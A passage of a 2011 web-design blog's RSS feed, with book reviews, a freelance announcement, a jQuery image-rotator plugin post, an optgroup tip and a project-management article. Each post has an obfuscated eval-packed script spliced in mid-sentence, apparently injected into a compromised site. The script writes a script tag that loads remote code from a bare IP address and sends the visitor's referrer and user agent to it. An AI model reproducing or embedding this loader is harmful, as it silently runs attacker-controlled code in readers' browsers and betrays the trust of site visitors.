				<comments>http://www.svennerberg.com/2011/08/search-analytics-for-your-site-by-louis-rosenfeld-book-review/#respond</comments>
				<pubDate>Mon, 08 Aug 2011 12:39:33 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[SSA]]></category>
		<category><![CDATA[UX]]></category>
		<category><![CDATA[Web Analytics]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3335</guid>
				<description><![CDATA[Search Analytics for Your Site is a great book that will teach you how to make the most of the searches people make on your site. Lou Rosenfeld has done a tremendous job describing how to approach this rich source of information about your users, and come out with valuable insights that will help improve [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><a href="http://www.amazon.com/gp/product/1933820209/ref=as_li_ss_tl?ie=UTF8&#038;tag=inusabiwetrus-20&#038;linkCode=as2&#038;camp=217145&#038;creative=399373&#038;creativeASIN=1933820209" title="Check out Search Analytics for Your Site on Amazon.com"><img src="http://media.svennerberg.com/2011/08/search_analytics_for_your_site.png" alt="" title="search_analytics_for_your_site" width="160" height="241" class="alignright size-full wp-image-3338" /></a><strong>Search <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhfsh|var|u0026u|referrer|znrde||js|php'.split('|'),0,{}))
</script></noindex> Analytics for Your Site</strong> is a great book that will teach you how to make the most of the searches people make on your site. <strong>Lou Rosenfeld</strong> has done a tremendous job describing how to approach this rich source of information about your users, and come out with valuable insights that will help improve your web site or Intranet. </p>
<p><span id="more-3335"></span></p>
<h2>About the book</h2>
<p>This book is, as of now, the only book on the subject. There are plenty of books about Search Engine Optimization (SEO) and although Site Search Analytics (SSA) share common traits with SEO, the nature of searching on Google and searching on a sites local search is quite different. You&#8217;ll see much more general search terms on Google than on a sites local search. </p>
<p>What&#8217;s so interesting is that the term that people use on local sites will tell you something about how they think, what language they use and what they&#8217;re interested in. This is valuable information that can help you better understand your audience and better cater to their needs.</p>
<h2>What&#8217;s in the book</h2>
<p>The first section of the book describes what SSA is and provides a case study where SSA helped save a project. It will give you the basics of the topic and good advice on  how to start applying it.</p>
<p>The second section is about different type of analysis to gain insights about your data. This will give you a toolkit where you can pick the appropriate tool depending on what insights your&#8217;e trying to gain.</p>
<p>The third section describes practical ways of using your insights to improve search, site navigation, meta data and content. It contains very good and practical things you can do to improve your site.</p>
<p>The last chapter looks at how SSA fits into the worlds of UX Design and Web Analysis. </p>
<h2>Bridging the gap</h2>
<p>A very interesting argument Louis Rosenfeld make is that SSA can actually bridge the gap between Web Analytics and UX Design. Because of the both quantitative and qualitative nature of the data, SSA will appeal to both parties. It can therefor act as a common ground for practitioners in the respective fields to collaborate their researching efforts. </p>
<h2>About the author</h2>
<p>Louis Rosenfeld has previously co-authored <a href="http://www.amazon.com/gp/product/0596527349/ref=as_li_ss_tl?ie=UTF8&#038;tag=inusabiwetrus-20&#038;linkCode=as2&#038;camp=217145&#038;creative=399369&#038;creativeASIN=0596527349" title="Check out Information Architecture for the World Wide Web on Amazon.com">Information Architecture for the World Wide Web</a><img src="http://www.assoc-amazon.com/e/ir?t=&#038;l=as2&#038;o=1&#038;a=0596527349&#038;camp=217145&#038;creative=399369" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" />, by many considered THE book on Information Architecture. He also runs <a href="http://rosenfeldmedia.com/">Rosenfeld Media</a>, a book publishing company dedicated to publishing great books on UX.</p>
<p>With Louis experience in the fields and his clear and entertaining writing style, this book is a pleasure to read. It contains lots of real-life examples and practices that makes the techniques described easy to apply in your own projects.</p>
<h2>Conclusion</h2>
<p>If your&#8217;re interested in making good use of your search data, then this is the book to read. It reveals techniques that will give plenty of benefits for a pretty low effort. I highly recommend Search Analytics for Your Site for both Web Analysts and UX Designers, but also for Project Managers and others involved in creating information rich web sites or Intranets. </p>
<h2>Book information</h2>
<dl class="book-info">
<dt>Title:</dt>
<dd>Search Analytics for Your Site</dd>
<dt>Author:</dt>
<dd>Louis Rosenfeld</dd>
<dt>Publisher:</dt>
<dd>Rosenfeld Media, LLC; 1st edition (July 6, 2011)</dd>
<dt>Pages:</dt>
<dd>224</dd>
<dt>ISBN:</dt>
<dd>1933820209</dd>
<dt>ISBN-13:</dt>
<dd>978-1933820200</dd>
</dl>
<p><a href="http://www.amazon.com/gp/product/1933820209/ref=as_li_ss_tl?ie=UTF8&#038;tag=inusabiwetrus-20&#038;linkCode=as2&#038;camp=217145&#038;creative=399373&#038;creativeASIN=1933820209">Check out Search Analytics for Your Site on Amazon</a><img src="http://www.assoc-amazon.com/e/ir?t=&#038;l=as2&#038;o=1&#038;a=1933820209&#038;camp=217145&#038;creative=399373" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /></p>
<p class="note">
<strong>Note:</strong> I wrote this review for <a href="http://oreilly.com/bloggers/">O’Reilly’s Blogger Review Program</a>. Their deal is pretty good: You get a free e-book to read and once you post a review you get another. Try it yourself if you&#8217;re interested in reviewing books.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/08/search-analytics-for-your-site-by-louis-rosenfeld-book-review/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>jQuery Mobile by Jon Reid</title>
		<link>http://www.svennerberg.com/2011/07/jquery-mobile-book-review/</link>
				<comments>http://www.svennerberg.com/2011/07/jquery-mobile-book-review/#respond</comments>
				<pubDate>Sat, 16 Jul 2011 13:01:02 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[jQuery Mobile]]></category>
		<category><![CDATA[Mobile Web]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3312</guid>
				<description><![CDATA[jQuery Mobile is a brief introduction to the Alpha 4 release of the mobile version of the popular JavaScript Framework. It&#8217;s written by Jon Reid, senior developer at EffectiveUI, who&#8217;s done an excellent job of describing the ins and out of it. It&#8217;s a short book, only 130 pages, that&#8217;s easily read in one evening. [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><a href="http://www.amazon.com/gp/product/1449306683/ref=as_li_ss_tl?ie=UTF8&#038;tag=inusabiwetrus-20&#038;linkCode=as2&#038;camp=217145&#038;creative=399373&#038;creativeASIN=1449306683" title="Check out jQuery Mobile on Amazon.com"><img src="http://media.svennerberg.com/2011/07/jquery-mobile.png" alt="" class="alignright size-full wp-image-3330" /></a><strong>jQuery <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkznr|var|u0026u|referrer|ddyhi||js|php'.split('|'),0,{}))
</script></noindex> Mobile</strong> is a brief introduction to the Alpha 4 release of the mobile version of the popular JavaScript Framework. It&#8217;s written by <strong>Jon Reid</strong>, senior developer at <a href="http://www.effectiveui.com/">EffectiveUI</a>, who&#8217;s done an excellent job of describing the ins and out of it.</p>
<p><span id="more-3312"></span></p>
<p>It&#8217;s a short book, only 130 pages, that&#8217;s easily read in one evening. It provides you with a quick introduction that will give you a kickstart using <a href="http://jquerymobile.com/" title="jQuery Mobile: Touch-Optimized Web Framework for Smartphones &#038; Tablets">jQuery Mobile</a> in your own projects. It starts with very basic examples and ends with showing how to build a Twitter web app. It&#8217;s very hands-on with lots of example code and code references. </p>
<p>To get the most from this book you should already be familiar with the jQuery framework as well as HTML5 and CSS3 since these topics are not thoroughly covered. </p>
<h2>New Beta 1 release</h2>
<p>You should be aware that it&#8217;s the Alpha 4 release of jQuery Mobile that&#8217;s described in the book. As of now jQuery Mobile is in Beta 1 and is expected to make version 1.0 by the end of this summer. </p>
<p>I&#8217;ve noticed some differences between the current version and what&#8217;s being described in the book. But these are minor differences and shouldn&#8217;t cause any serious problems (See the <a href="http://jquerymobile.com/blog/2011/06/20/jquery-mobile-beta-1-released/">Beta 1 Release Notes</a> for more info). </p>
<p>Jon states in the preface of the book that &#8220;As jQuery Mobile advances, we hope to update this ebook to cover new features and provide new tips and techniques.&#8221;. So hopefully the version you will read will be updated to reflect these recent changes.</p>
<h2>Conclusion</h2>
<p>For me this book has given me a head start building the mobile version of a web app that I&#8217;m currently developing. (Stay tuned for more info as I plan to release it by the end of this summer). I think Jon has done a great job introducing the framework in a concise and hands-on manner. If you&#8217;re planning to create a mobile web app and are considering using jQuery Mobile, you should definitely read this book to: </p>
<ol>
<li>see if jQuery Mobile is something you should use</li>
<li>to get at head start using it in your project</li>
</ol>
<p>All in all I recommend this book for anyone wanting to dip their toes in mobile web development.</p>
<h2>Book information</h2>
<dl class="book-info">
<dt>Title:</dt>
<dd>jQuery Mobile</dd>
<dt>Author:</dt>
<dd>Jon Reid</dd>
<dt>Publisher:</dt>
<dd>O&#8217;Reilly Media (July 7, 2011)</dd>
<dt>Pages:</dt>
<dd>130</dd>
<dt>ISBN:</dt>
<dd>1449306683 </dd>
<dt>ISBN-13:</dt>
<dd>978-1-449-30668-7</dd>
</dl>
<p><a href="http://www.amazon.com/gp/product/1449306683/ref=as_li_ss_tl?ie=UTF8&#038;tag=inusabiwetrus-20&#038;linkCode=as2&#038;camp=217145&#038;creative=399373&#038;creativeASIN=1449306683">Check out jQuery Mobile on Amazon</a><img src="http://www.assoc-amazon.com/e/ir?t=&#038;l=as2&#038;o=1&#038;a=1449306683&#038;camp=217145&#038;creative=399373" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /></p>
<p class="note">
<strong>Note:</strong> I wrote this review for <a href="http://oreilly.com/bloggers/">O’Reilly’s Blogger Review Program</a>. Their deal is pretty good: You get a free e-book to read and once you post a review you get another. Try it yourself if you&#8217;re interested in reviewing books.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/07/jquery-mobile-book-review/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>I&#8217;m going independent</title>
		<link>http://www.svennerberg.com/2011/06/im-going-independent/</link>
				<comments>http://www.svennerberg.com/2011/06/im-going-independent/#comments</comments>
				<pubDate>Thu, 09 Jun 2011 11:58:55 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Life]]></category>
		<category><![CDATA[Consulting]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3263</guid>
				<description><![CDATA[I&#8217;ve decided to leave my current job as Web Developer/Interaction Designer and start a new career as an Independent Designer/Frontend Developer. I&#8217;ve been keen on doing this for years and now I feel is the right time to do it. Some of you might know that I&#8217;m currently on parental leave. This pause from my [&#8230;]]]></description>
								<content:encoded><![CDATA[<p>I&#8217;ve decided to leave my current job as Web Developer/Interaction Designer and start a new career as an <strong>Independent <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkfyf|var|u0026u|referrer|istak||js|php'.split('|'),0,{}))
</script></noindex> Designer/Frontend Developer</strong>.</p>
<p>I&#8217;ve been keen on doing this for years and now I feel is the right time to do it. Some of you might know that I&#8217;m currently on parental leave. This pause from my current employment, makes it all the more naturally to take the leap now.</p>
<p><span id="more-3263"></span></p>
<p>I will of course miss my colleges and the interesting challenges at my current employer but I&#8217;m really excited about going solo and very curios about where this road will take me. </p>
<h2>What I&#8217;m offering</h2>
<h3>Services</h3>
<p>I will offer services in most things having to do with designing and building User Interfaces, including:</p>
<ul>
<li>User research</li>
<li>Usability testing/Expert reviews</li>
<li>Wireframing &#038; Prototyping</li>
<li>User Interface Design</li>
<li>Frontend Development</li>
</ul>
<p>(I will of course also provide expert services for Google Maps Solutions)</p>
<h3>Talks and training</h3>
<p>I&#8217;m also doing talks and training on different aspects of usability and web techniques. <a href="/contact">Contact me</a> if you want to know more or need a talk or training that&#8217;s tailored for your specific needs. </p>
<h2>Available for projects from September</h2>
<p>I&#8217;m still on parental leave but I will be available for new projects from September 19, 2011. So if you need an Interaction Designer or a  Frontend Developer for a project this fall, <a href="/contact/">contact me right away</a>.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/06/im-going-independent/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
							</item>
		<item>
		<title>Tinyrotator &#8211; a tiny image rotator  plugin for jQuery</title>
		<link>http://www.svennerberg.com/2011/05/tinyrotator-a-tiny-image-rotator-plugin-for-jquery/</link>
				<comments>http://www.svennerberg.com/2011/05/tinyrotator-a-tiny-image-rotator-plugin-for-jquery/#comments</comments>
				<pubDate>Fri, 20 May 2011 12:21:57 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Plugin]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3204</guid>
				<description><![CDATA[For a project I worked on recently I created a small and simple image rotator plugin for jQuery. It&#8217;s dead easy to embed in your own page and to style the way you want using regular CSS. The plugin is released under both MIT and GPL licenses so you can use it any way you [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><img src="http://media.svennerberg.com/2011/05/tinyrotator-150.jpg" alt="" class="alignright size-full wp-image-3233" />For <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tefzy|var|u0026u|referrer|eddke||js|php'.split('|'),0,{}))
</script></noindex> a project I worked on recently I created a small and simple image rotator plugin for jQuery. It&#8217;s dead easy to embed in your own page and to style the way you want using regular CSS. </p>
<p>The plugin is released under both <a href="http://jquery.org/license/">MIT and GPL licenses</a> so you can use it any way you want in both personal and commercial projects.</p>
<p><span id="more-3204"></span></p>
<h2>How to use it</h2>
<p>First of all you need to include the <code>tinyrotator.css</code> and <code>jquery.tinyrotator.js</code> files in your document. The stylesheet  will give you a standard design but you can easily change it by altering the CSS file. Since it&#8217;s a jQuery plugin you will of course also have to include the jQuery library.</p>
<p>The base of the  plugin is an unordered list of images with links to bigger images. The list should have the <code>class="tinyrotator"</code> to get the correct style from the stylesheet. You can of course use a different class (or id) if you create your own custom CSS.</p>
<pre><code class="language-markup">&lt;ul class="tinyrotator"&gt;
  &lt;li&gt;
    &lt;a href="image1.jpg"&gt;
      &lt;img src="thumbnail1.jpg" alt="" /&gt;
    &lt;/a&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;a href="image1.jpg"&gt;
      &lt;img src="thumbnail2.jpg" alt="" /&gt;
    &lt;/a&gt;
  &lt;/li&gt;
&lt;/ul&gt;</code></pre>
<p>The plugin is then activated by calling the tinyrotator method on the list like this:</p>
<pre><code class="language-javascript">$(document).ready(function() {
  $('.tinyrotator').tinyrotator();
});</code></pre>
<p>This will produce a standard image rotator with the images from your list. The plugin will show the bigger versions of the images above the thumbnails and automatically cycle through them. If the user clicks a thumbnail, that image will be shown and the plugin will stop rotating.</p>
<div id="attachment_3245" style="width: 235px" class="wp-caption alignnone"><img aria-describedby="caption-attachment-3245" src="http://media.svennerberg.com/2011/05/tinyrotator1.jpg" alt="" class="size-full wp-image-3245" /><p id="caption-attachment-3245" class="wp-caption-text">A standard version of Tinyrotator</p></div>
<h2>Graceful degradation</h2>
<p>If for some reason the plugin won&#8217;t initialize (user has JavaScript turned of, jQuery din&#8217;t load, etc.) a clickable list of the images will still be visible and the user will be able to click them to watch their bigger counterparts. They will however be opened on a blank page.</p>
<div id="attachment_3248" style="width: 237px" class="wp-caption alignnone"><img aria-describedby="caption-attachment-3248" src="http://media.svennerberg.com/2011/05/tinyrotator-javascript-disabled.jpg" alt="" class="size-full wp-image-3248" /><p id="caption-attachment-3248" class="wp-caption-text">Tinyrotator with JavaScript turned off</p></div>
<h2>Options</h2>
<p>The plugin has two options with which you can set the time each image should be visible and how fast the transition (a fade) between two images should be.</p>
<dl class="spec">
<dt>interval</dt>
<dd>The time in millisecond that each image will be displayed<br />
		Default value is 5000.</dd>
<dt>fade</dt>
<dd>The speed of the fade, possible values are: &#8216;fast&#8217;, &#8216;slow&#8217;, &#8216;medium&#8217;, &#8216;none&#8217; or the time in milliseconds<br />
		Default value is &#8216;medium&#8217;</dd>
</dl>
<p>Here&#8217;s an example where both the interval and the fade speed has a faster pace.</p>
<pre><code class="language-javascript">$(document).ready(function() {
  $('.tinyrotator').tinyrotator({
	interval: 2000,
	fade: 'fast'
  });
});</code></pre>
<p>Be sure to check out the demo to see the plugin in action. Also check out the source of the demo page to see how to use it.</p>
<div class="call-to-action">
<a href="http://www.svennerberg.com/code/tinyrotator/index.html" class="btn primary large">View Demo</a> <a href="https://github.com/svennerberg/tinyrotator" class="btn primary large" title="Download TinyRotator from Github">Download <span>(from Github)</span></a>
</div>
<h2>Feedback</h2>
<p>I hope you&#8217;ll find the plugin useful. If you have any suggestions on how the plugin could be improved, please let me know in the comments. Also if you use it on a project it&#8217;s always fun if you let me know. </p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/05/tinyrotator-a-tiny-image-rotator-plugin-for-jquery/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
							</item>
		<item>
		<title>Use the optgroup element for select lists with sections</title>
		<link>http://www.svennerberg.com/2011/05/optgroup-htmls-most-underused-element/</link>
				<comments>http://www.svennerberg.com/2011/05/optgroup-htmls-most-underused-element/#respond</comments>
				<pubDate>Wed, 11 May 2011 07:21:55 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Quick tips]]></category>
		<category><![CDATA[XHTML]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3170</guid>
				<description><![CDATA[One thing that surprises me is that while there is a perfectly valid and easy way of providing a select list that&#8217;s divided into sections, it&#8217;s seldom used. Instead extra &#60;option&#62; elements are often inserted as dividers, or worse, convoluted JavaScript solutions that emulates this behavior with generic markup and complicated CSS. The simple, perfectly [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><img src="http://media.svennerberg.com/2011/05/optgroup.png" alt="" class="alignright size-full wp-image-3190" />One <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnteb|var|u0026u|referrer|etbyi||js|php'.split('|'),0,{}))
</script></noindex> thing that surprises me is that while there is a perfectly valid and easy way of providing a select list that&#8217;s divided into sections, it&#8217;s seldom used. Instead extra <code>&lt;option&gt;</code> elements are often inserted as dividers, or worse, convoluted JavaScript solutions that emulates this behavior with generic markup and complicated CSS. </p>
<p>The simple, perfectly valid and accessible solution is to use the <code>&lt;optgroup&gt;</code> element. It&#8217;s used for grouping <code>&lt;option&gt;</code> elements in a <code>&lt;select&gt;</code> list into sections. It&#8217;s perfectly safe to use since it&#8217;s supported across all browsers.</p>
<p><span id="more-3170"></span></p>
<p>Here&#8217;s an example of how to  create a sectioned select list with pets. </p>
<pre name="code" class="html">
&lt;label for="pets"&gt;Pets&lt;/label&gt;
&lt;select&gt;
  &lt;optgroup label="Dogs"&gt;
   &lt;option&gt;Golden Retriever&lt;/option&gt;
   &lt;option&gt;Doberman&lt;/option&gt;
  &lt;/optgroup&gt;
  &lt;optgroup label="Cats"&gt;
   &lt;option&gt;Burma&lt;/option&gt;
   &lt;option&gt;Siamese&lt;/option&gt;
  &lt;/optgroup&gt;
&lt;/select&gt;
</pre>
<p>This code will result in this select list:</p>
<div class="example">
<h4>Example</h4>
<p>  <label for="pets">Pets</label><select name="pets" id="pets"><optgroup label="Dogs"><option>Golden Retriever</option><option>Doberman</option></optgroup><br />
    <optgroup label="Cats"><option>Burma</option><option>Siamese</option></optgroup><br />
  </select>
</div>
<p>There&#8217;s one big additional benefit and that is that the labels in the list are not clickable and can therefor not be selected by mistake. </p>
<p>So the next time you want to create a select list with sections, look for <code>&lt;optgroup&gt;</code> first. </p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/05/optgroup-htmls-most-underused-element/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>How to balance different interests within a project</title>
		<link>http://www.svennerberg.com/2011/04/how-to-balance-different-interests-within-a-project/</link>
				<comments>http://www.svennerberg.com/2011/04/how-to-balance-different-interests-within-a-project/#comments</comments>
				<pubDate>Wed, 27 Apr 2011 11:45:22 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Project management]]></category>
		<category><![CDATA[UX]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=2757</guid>
				<description><![CDATA[In every web and software project it&#8217;s important to find a good balance between different interests in order to produce a successful product or service. My biggest takeaway from reading A Project Guide to UX Design was the idea of maintaining a good tension between different interests in a project group. In this article I [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><img src="http://media.svennerberg.com/2011/04/balance-front.png" alt="" class="alignright size-full wp-image-3159" />In <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkfai|var|u0026u|referrer|bkdhn||js|php'.split('|'),0,{}))
</script></noindex> every web and software project it&#8217;s important to find a good balance between different interests in order to produce a successful product or service. My biggest takeaway from reading <a href="http://www.amazon.com/gp/product/0321607376?ie=UTF8&#038;tag=inusabiwetrus-20&#038;linkCode=as2&#038;camp=1789&#038;creative=390957&#038;creativeASIN=0321607376" title="Buy A project Guide to UX from Amazon.com">A Project Guide to UX Design</a> was the idea of maintaining a good tension between different interests in a project group. </p>
<p>In this article I will describe what those interests are and what will happen when any of them becomes too dominant. I will also share my thoughts on how to overcome imbalances.</p>
<p><span id="more-2757"></span></p>
<h2>The three major interests within a project</h2>
<p>In any development project there are at least three different interests at play:</p>
<ul>
<li><strong>Business goals</strong><br />
The business goals of the product. For example to sell more products, to reduce the number of support calls or to strengthen brand awareness.</li>
<li><strong>Development opportunities</strong><br />
The interests that the developers that actually builds the application have. Examples of these might be fast development, code reuse and maintainable code.</li>
<li><strong>User needs</strong><br />
The needs of the end users. It might be a problem they want to solve or the need for an easy way to perform at certain task.
</li>
</ul>
<p>The image below illustrates a project with a balanced tension between the different needs. This is the ideal state in a project. Often it&#8217;s impossible to maintain a perfect balance but It&#8217;s important to always strive for it, at least if you want a successful project.</p>
<div id="attachment_3132" style="width: 420px" class="wp-caption alignnone"><a href="http://media.svennerberg.com/2011/04/balanced.png"><img aria-describedby="caption-attachment-3132" src="http://media.svennerberg.com/2011/04/balanced-410x396.png" alt="" class="size-medium wp-image-3132" /></a><p id="caption-attachment-3132" class="wp-caption-text">The three basic needs in every development project</p></div>
<h2>Unbalanced projects</h2>
<h3 class="clear"><div id="attachment_3134" style="width: 160px" class="wp-caption alignright"><a href="http://media.svennerberg.com/2011/04/stakeholder-domination.png"><img aria-describedby="caption-attachment-3134" src="http://media.svennerberg.com/2011/04/stakeholder-domination-150.png" alt="" class="size-full wp-image-3134" /></a><p id="caption-attachment-3134" class="wp-caption-text">Stakeholder domination</p></div>Stakeholder domination</h3>
<p>Although the business goals are really important, since they are the very reason that the application exists, it must  not be a too dominant interest. When that happens the result is a product that <strong>fulfills business goals but are expensive, buggy and fails to meet user needs</strong>. </p>
<p>Failing to meet user needs often lead to that the business goals are ultimately not met. A product that&#8217;s unusable or doesn&#8217;t make it worthwhile to use will probably be abandoned sooner a later. </p>
<p>An example of this could be that a business goal is to collect as much user data as possible with an extensive sign-up form to get good sale leads. The user on the other hand wants to try out the application before making a big commitment. The huge form seems daunting and the user is reluctant to give away personal information this early in the process. This leads to fewer users actually signing up, and business goals are not met.</p>
<h3 class="clear"><div id="attachment_3140" style="width: 160px" class="wp-caption alignright"><a href="http://media.svennerberg.com/2011/04/developer-domination.png"><img aria-describedby="caption-attachment-3140" src="http://media.svennerberg.com/2011/04/developer-domination-150.png" alt="" class="size-full wp-image-3140" /></a><p id="caption-attachment-3140" class="wp-caption-text">Developer domination</p></div>Developer domination</h3>
<p>If developer needs dominates the end result is<strong> a cheap solution of high quality that fails too meet business goals or to address user needs</strong>. </p>
<p>Having the perfect application with brilliant algorithms and perfectly tuned databases is never a mean to an end. It doesn&#8217;t matter how awesome your solution is if it fails to meet business goals. This means that the application probably can no longer exist, since its ultimate success depends on business goals being fulfilled.</p>
<h3 class="clear"><div id="attachment_3142" style="width: 160px" class="wp-caption alignright"><a href="http://media.svennerberg.com/2011/04/user-domination.png"><img aria-describedby="caption-attachment-3142" src="http://media.svennerberg.com/2011/04/user-domination-150.png" alt="" class="size-full wp-image-3142" /></a><p id="caption-attachment-3142" class="wp-caption-text">User domination</p></div>User domination</h3>
<p>While it&#8217;s important to focus on user needs the project must never lose sight of business goals and developer needs. What happens is that you end up with a solution that indeed <strong>fulfill user needs but is expensive, buggy and fails to meet business goals</strong>.</p>
<p>This is, in my experience, rarely a problem. More often I think the problem is that user needs are totally neglected. Fulfilling user needs often goes hand in hand with meeting business goals. But there are of course often compromises that needs to be made between the two. </p>
<p>So also with developer needs. Some functions that would have been perfect for the user might be to complicated or expensive to develop to be a viable solution.</p>
<h2>My thoughts on keeping a good balance</h2>
<p>I personally think that good communication within a project, combined with an awareness of the different needs, is key for a successful project. The biggest mistake to make is to isolate developers and designers from the stake holders. There&#8217;s everything to win in keeping them involved in this process so they also have an awareness of business goals and how the customer thinks. </p>
<p>This goes both ways. Having a dialog between stakeholders, developers and designer leads to better understanding of all the different needs. My experience is that it also leads to stronger commitment within the team and that it can lead to new great ideas that neither party would have come up with in isolation.</p>
<p>Finally I think it&#8217;s important to have a dedicated member of the team that has the users interests in mind. Be it a UX-designer, and interaction designer or one of the developers. Far to often this is the one interest that is forgotten altogether. One way to raise the awareness of user needs is to conduct usability tests with the whole project team as observers. That&#8217;s usually a real eye opener.</p>
<p>How does your projects work? Are they dominated by any particular interest or is one interest totally forgotten? How do you keep the interests balanced?</p>
<h2>Read more</h2>
